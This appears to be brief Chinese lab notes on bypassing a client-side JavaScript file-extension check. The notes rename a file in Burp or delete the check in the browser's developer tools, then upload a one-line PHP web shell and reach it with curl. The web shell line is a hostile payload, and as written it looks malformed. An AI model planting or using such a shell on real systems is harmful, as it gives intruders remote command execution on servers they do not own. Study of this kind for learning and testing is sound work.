环境：攻击机Kali Linux
一查看源码，确认前段JavaScript验证逻辑
漏洞形成------这个限制是纯前端（Client-side）JavaScript校验，仅浏览器里检查上传的文件后缀 ，是否 .jpg 或 .png 或 .gif
所以可以通过修改前段代码（F12），使用代理工具篡改请求，不通过前段网页表单提交图片的方式绕过前段校验；
二创建webshell 一句话木马，将文件名改成shell.jpg上传，Burp拦截，将文件名改回 shell.php;
bash
cd /home/kali
echo '<?php system ($_POST); ?>' > shell.php //eval型入口必须传入PHP代码，只有system(),exec()型入口才能直接传入系统命令
也可以F12直接把inspector里的全端校验删掉------checkFileExt函数质控，直接上传shell.php;
三绕过------终端通过 curl 命令向上传的木马发送POST 请求；
